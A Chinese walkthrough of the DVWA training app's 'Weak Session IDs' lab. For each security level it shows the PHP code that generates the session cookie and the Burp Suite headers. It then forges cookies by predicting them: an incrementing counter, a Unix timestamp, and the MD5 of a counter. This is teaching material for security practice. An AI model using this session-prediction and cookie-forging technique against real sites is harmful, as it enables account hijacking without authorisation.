DVWA Weak Session IDs 通关教程

SessionID 简介

密码与证书等认证手段,一般仅仅用于登录(Login)的过程。当登陆完成后,用户访问网站的页面,不可能每次浏览器请求页面时,都再使用密码认证一次。因此,当认证完成后,就需要替换一个对用户透明的凭证。这个凭证就是SessionID

当用户登陆完成后,在服务器端就会创建一个新的会话(Session),会话中会保存用户的状态和相关信息。服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。最常见的做法就是把SessionID加密后保存在Cookie中,因为Cookie会随着HTTP请求头发送,且受到浏览器同源策略的保护。

SessionID一旦在生命周期内被窃取,就等同于账户失窃。同时由于SessionID是用户登录之后才持有的认证凭证,因此黑客不需要再攻击登陆过程(比如密码)。Session劫持就是一种通过窃取用户SessionID后,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。

因此,在生成SessionID时,需要保证足够的随机性,比如采用足够强的伪随机数生成算法。

— 摘自《白帽子讲 web 安全》

SessionID利用的实质:

SessionID是在登录后,作为特定用户访问站点所需的唯一内容。如果能够计算或轻易猜到该SessionID,则攻击者将可以轻易获取访问权限,无需登录密码直接进入特定用户界面,进而查找其他漏洞如XSS、文件上传等等。

此模块使用四种不同的方式来设置dvwaSessioncookie值,每个级别的目标是计算ID的生成方式,然后推断其他管理员用户的ID

Low Security Level

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>

可以看出,dvwaSession是从0开始的,每次加1

Exploit

模拟管理员登录,在浏览器 1 里,点击GenerateBurpsuite抓包,发送到Repeatergo一次,发现:

请求头中:

PHPSESSID=9igf4g7mcnegrv91ro6eq4msj1; security=low

响应头中:

Set-Cookie: dvwaSession=1

go几次,发现dvwaSession一直增加,每次加1

恶意攻击者通过寻找到上述规律,使用浏览器2,成功构造出payload:

Cookie: dvwaSession=2; PHPSESSID=9igf4g7mcnegrv91ro6eq4msj1; security=low

在无密码认证的情况下,成功登陆到界面:

http://www.dvwa.com/vulnerabilities/weak_id/

Medium Security Level

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = time();
    setcookie("dvwaSession", $cookie_value);
}
?>

Exploit

模拟管理员登录,在浏览器1里,点击Generateburp里发现:

请求头中:

Cookie: dvwaSession=3; PHPSESSID=9igf4g7mcnegrv91ro6eq4msj1; security=medium

响应头中:

Set-Cookie: dvwaSession=1550145086

go几次,发现dvwaSession和时间戳变化一致。

恶意攻击者通过寻找到上述规律,使用浏览器2,成功构造出payload:

Cookie: dvwaSession=1550145303; PHPSESSID=9igf4g7mcnegrv91ro6eq4msj1; security=medium

在无密码认证的情况下,成功登陆到界面:

http://www.dvwa.com/vulnerabilities/weak_id/

High Security Level

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

PHP setcookie()函数

setcookie(name,value,expire,path,domain,secure,httponly)
参数 描述
name 必需。规定cookie的名称。
value 必需。规定cookie的值。
expire 可选。规定cookie的有效期。
path 可选。规定cookie的服务器路径。
domain 可选。规定cookie的域名。
secure 可选。规定是否通过安全的HTTPS连接来传输cookie
httponly 可选。规定是否Cookie仅可通过HTTP协议访问。

由源码可知:

value 值:last_session_id_high 自增 1,再用 md5 加密
expire 值:当前时间再加一个小时
path 值:/vulnerabilities/weak_id/

Exploit

模拟管理员登录,在浏览器 1 里,点击Generateburp里发现:

请求头中:

Cookie: dvwaSession=1550145403; PHPSESSID=9igf4g7mcnegrv91ro6eq4msj1; security=high

响应头中:

Set-Cookie: dvwaSession=c4ca4238a0b923820dcc509a6f75849b;

go几次,发现dvwaSession值通过MD5加密。将每次产生的MD5解密,发现解密后的值,发现和低等级中的代码一样,是从0开始加的。

恶意攻击者通过寻找到上述规律,使用浏览器2,成功构造出payload:

Cookie: dvwaSession=c4ca4238a0b923820dcc509a6f75849b; PHPSESSID=9igf4g7mcnegrv91ro6eq4msj1; security=high

在无密码认证的情况下,成功登陆到界面:

http://www.dvwa.com/vulnerabilities/weak_id/

Impossible Security Level

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

$cookie_value采用随机数+时间戳+固定字符串"Impossible",再进行sha1运算,完全不能猜测到dvwaSession的值。实现了用户安全会话认证。

PS:小菜写的文章,若有错误和不足之处,请多多指点,谢谢!

文章目录

2 条评论

发表评论

*

  • dvwa 入门练习还是可以 但是实战更加的锻炼自己 实战的各种环境差异只有做的才知道 哈哈哈 希望你在网络安全道路上越走越远 加油!